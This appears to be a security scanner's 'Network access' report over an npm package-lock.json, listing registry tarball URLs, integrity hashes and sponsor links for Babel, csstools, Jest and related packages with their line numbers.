"resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - Network accessline 352
"node_modules/@babel/helper-module-imports": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", - Network accessline 353
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2d - Network accessline 354
"resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", - Network accessline 366
"node_modules/@babel/helper-module-transforms": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", - Network accessline 367
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWW - Network accessline 368
"resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", - Network accessline 384
"node_modules/@babel/helper-plugin-utils": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", - Network accessline 385
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/D - Network accessline 386
"resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", - Network accessline 394
"node_modules/@babel/helper-string-parser": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - Network accessline 395
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbW - Network accessline 396
"resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - Network accessline 404
"node_modules/@babel/helper-validator-identifier": { "version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - Network accessline 405
"version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoL - Network accessline 406
"resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - Network accessline 414
"node_modules/@babel/helper-validator-option": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - Network accessline 415
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4M - Network accessline 416
"resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - Network accessline 424
"node_modules/@babel/helpers": { "version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", - Network accessline 425
"version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==", - Network accessline 426
"resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", - Network accessline 438
"node_modules/@babel/parser": { "version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", - Network accessline 439
"version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==", - Network accessline 440
"resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", - Network accessline 454
"node_modules/@babel/plugin-syntax-async-generators": { "version": "7.8.4", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", - Network accessline 455
"version": "7.8.4", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7T - Network accessline 456
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", - Network accessline 467
"node_modules/@babel/plugin-syntax-bigint": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", - Network accessline 468
"version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3N - Network accessline 469
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", - Network accessline 480
"node_modules/@babel/plugin-syntax-class-properties": { "version": "7.12.13", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", - Network accessline 481
"version": "7.12.13", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dX - Network accessline 482
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", - Network accessline 493
"node_modules/@babel/plugin-syntax-class-static-block": { "version": "7.14.5", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", - Network accessline 494
"version": "7.14.5", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iu - Network accessline 495
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", - Network accessline 509
"node_modules/@babel/plugin-syntax-import-attributes": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.28.6.tgz", - Network accessline 510
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.28.6.tgz", "integrity": "sha512-jiLC0ma9XkQT3TKJ9uYvlakm66Pamywo+qwL+oL8HJOvc6TWdZXVfhqJr8CC - Network accessline 511
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.28.6.tgz", - Network accessline 525
"node_modules/@babel/plugin-syntax-import-meta": { "version": "7.10.4", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", - Network accessline 526
"version": "7.10.4", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+v - Network accessline 527
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", - Network accessline 538
"node_modules/@babel/plugin-syntax-json-strings": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", - Network accessline 539
"version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQ - Network accessline 540
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", - Network accessline 551
"node_modules/@babel/plugin-syntax-jsx": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz", - Network accessline 552
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz", "integrity": "sha512-wgEmr06G6sIpqr8YDwA2dSRTE3bJ+V0IfpzfSY3Lfgd7YWOaAdlykvJi13ZKBt8cZHfgH1IXN+CL656W3uUa4w== - Network accessline 553
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz", - Network accessline 567
"node_modules/@babel/plugin-syntax-logical-assignment-operators": { "version": "7.10.4", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10 - Network accessline 568
"version": "7.10.4", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2b - Network accessline 569
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", - Network accessline 580
"node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tg - Network accessline 581
"version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwp - Network accessline 582
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", - Network accessline 593
"node_modules/@babel/plugin-syntax-numeric-separator": { "version": "7.10.4", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", - Network accessline 594
"version": "7.10.4", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9A - Network accessline 595
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", - Network accessline 606
"node_modules/@babel/plugin-syntax-object-rest-spread": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", - Network accessline 607
"version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm - Network accessline 608
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", - Network accessline 619
"node_modules/@babel/plugin-syntax-optional-catch-binding": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", - Network accessline 620
"version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZl - Network accessline 621
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", - Network accessline 632
"node_modules/@babel/plugin-syntax-optional-chaining": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", - Network accessline 633
"version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPr - Network accessline 634
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", - Network accessline 645
"node_modules/@babel/plugin-syntax-private-property-in-object": { "version": "7.14.5", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz - Network accessline 646
"version": "7.14.5", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnv - Network accessline 647
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", - Network accessline 661
"node_modules/@babel/plugin-syntax-top-level-await": { "version": "7.14.5", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", - Network accessline 662
"version": "7.14.5", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OF - Network accessline 663
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", - Network accessline 677
"node_modules/@babel/plugin-syntax-typescript": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz", - Network accessline 678
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz", "integrity": "sha512-+nDNmQye7nlnuuHDboPbGm00Vqg3oO8niRRL27/4LYHUsHYh0zJ1xWOz0uRwNFmM1Avzk8wZbc - Network accessline 679
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz", - Network accessline 693
"node_modules/@babel/runtime": { "version": "7.29.7", "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", - Network accessline 694
"version": "7.29.7", "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", - Network accessline 695
"resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", - Network accessline 704
"node_modules/@babel/template": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", - Network accessline 705
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==", - Network accessline 706
"resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", - Network accessline 719
"node_modules/@babel/traverse": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", - Network accessline 720
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==", - Network accessline 721
"resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", - Network accessline 738
"node_modules/@babel/types": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", - Network accessline 739
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", - Network accessline 740
"resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", - Network accessline 752
"node_modules/@bcoe/v8-coverage": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", - Network accessline 753
"version": "0.2.3", "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", - Network accessline 754
"resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", - Network accessline 759
"node_modules/@csstools/color-helpers": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz", - Network accessline 760
"version": "5.1.0", "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz", "integrity": "sha512-S11EXWJyy0Mz5SYvRmY8nJYTFFd1LCNV+7cXyAgQtOOuzb4EsgfqDufL+9esx72/eLhsRdGZwaldu/h+E4t4BA==", - Network accessline 761
"resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz", - Network accessline 765
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 766
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 767
"url": "https://github.com/sponsors/csstools" - Network accessline 769
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 770
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 771
"url": "https://opencollective.com/csstools" - Network accessline 779
"node_modules/@csstools/css-calc": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", - Network accessline 780
"version": "2.1.4", "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", "integrity": "sha512-3N8oaj+0juUw/1H3YwmDDJXCgTB1gKU6Hc/bB502u9zR0q2vd786XJH9QfrKIEgFlZmhZiq6epXl4rHqhzsIgQ==", - Network accessline 781
"resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", - Network accessline 785
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 786
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 787
"url": "https://github.com/sponsors/csstools" - Network accessline 789
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 790
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 791
"url": "https://opencollective.com/csstools" - Network accessline 803
"node_modules/@csstools/css-color-parser": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz", - Network accessline 804
"version": "3.1.0", "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz", "integrity": "sha512-nbtKwh3a6xNVIp/VRuXV64yTKnb1IjTAEEh3irzS+HkKjAOYLTGNb9pmVNntZ8iVBHcWDA2Dof0QtPgFI1BaTA==" - Network accessline 805
"resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz", - Network accessline 809
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 810
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 811
"url": "https://github.com/sponsors/csstools" - Network accessline 813
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 814
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 815
"url": "https://opencollective.com/csstools" - Network accessline 831
"node_modules/@csstools/css-parser-algorithms": { "version": "3.0.5", "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", - Network accessline 832
"version": "3.0.5", "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf7 - Network accessline 833
"resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", - Network accessline 837
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 838
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 839
"url": "https://github.com/sponsors/csstools" - Network accessline 841
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 842
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 843
"url": "https://opencollective.com/csstools" - Network accessline 854
"node_modules/@csstools/css-tokenizer": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", - Network accessline 855
"version": "3.0.4", "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==", - Network accessline 856
"resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", - Network accessline 860
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 861
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 862
"url": "https://github.com/sponsors/csstools" - Network accessline 864
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 865
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 866
"url": "https://opencollective.com/csstools" - Network accessline 874
"node_modules/@hono/node-server": { "version": "2.0.12", "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.0.12.tgz", - Network accessline 875
"version": "2.0.12", "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.0.12.tgz", "integrity": "sha512-eWpQYr67tqJLeaSUl0Q+TquuYfUdTibpOJlUMV2FfUP7+KqCC5TufnwnlXL6mobZBJbGAYRd7ZvEBDCbLInjhg==", - Network accessline 876
"resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.0.12.tgz", - Network accessline 888
"node_modules/@istanbuljs/load-nyc-config": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", - Network accessline 889
"version": "1.1.0", "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==" - Network accessline 890
"resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", - Network accessline 905
"node_modules/@istanbuljs/schema": { "version": "0.1.6", "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.6.tgz", - Network accessline 906
"version": "0.1.6", "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.6.tgz", "integrity": "sha512-+Sg6GCR/wy1oSmQDFq4LQDAhm3ETKnorxN+y5nbLULOR3P0c14f2Wurzj3/xqPXtasLFfHd5iRFQ7AJt4KH2cw==", - Network accessline 907
"resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.6.tgz", - Network accessline 915
"node_modules/@jest/console": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.7.0.tgz", - Network accessline 916
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.7.0.tgz", "integrity": "sha512-5Ni4CU7XHQi32IJ398EEP4RrB8eV09sXP2ROqD4bksHrnTree52PsxvX8tpL8LvTZ3pFzXyPbNQReSN41CAhOg==", - Network accessline 917
"resolved": "https://registry.npmjs.org/@jest/console/-/console-29.7.0.tgz", - Network accessline 933
"node_modules/@jest/core": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.7.0.tgz", - Network accessline 934
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.7.0.tgz", "integrity": "sha512-n7aeXWKMnGtDA48y8TLWJPJmLmmZ642Ceo78cYWEpiD7FzDgmNDV/GCVRorPABdXLJZ/9wzzgZAlHjXjxDHGsg==", - Network accessline 935
"resolved": "https://registry.npmjs.org/@jest/core/-/core-29.7.0.tgz", - Network accessline 981
"node_modules/@jest/environment": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz", - Network accessline 982
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz", "integrity": "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw==", - Network accessline 983
"resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz", - Network accessline 997
"node_modules/@jest/expect": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.7.0.tgz", - Network accessline 998
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.7.0.tgz", "integrity": "sha512-8uMeAMycttpva3P1lBHB8VciS9V0XAr3GymPpipdyQXbBcuhkLQOSe8E/p92RyAdToS6ZD1tFkX+CkhoECE0dQ==", - Network accessline 999
"resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.7.0.tgz", - Network accessline 1011
"node_modules/@jest/expect-utils": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz", - Network accessline 1012
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz", "integrity": "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA==", - Network accessline 1013
"resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz", - Network accessline 1024
"node_modules/@jest/fake-timers": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz", - Network accessline 1025
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz", "integrity": "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ==", - Network accessline 1026
"resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz", - Network accessline 1042
"node_modules/@jest/globals": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.7.0.tgz", - Network accessline 1043
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.7.0.tgz", "integrity": "sha512-mpiz3dutLbkW2MNFubUGUEVLkTGiqW6yLVTA+JbP6fI6J5iL9Y0Nlg8k95pcF8ctKwCS7WVxteBs29hhfAotzQ==", - Network accessline 1044
"resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.7.0.tgz", - Network accessline 1058
"node_modules/@jest/reporters": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.7.0.tgz", - Network accessline 1059
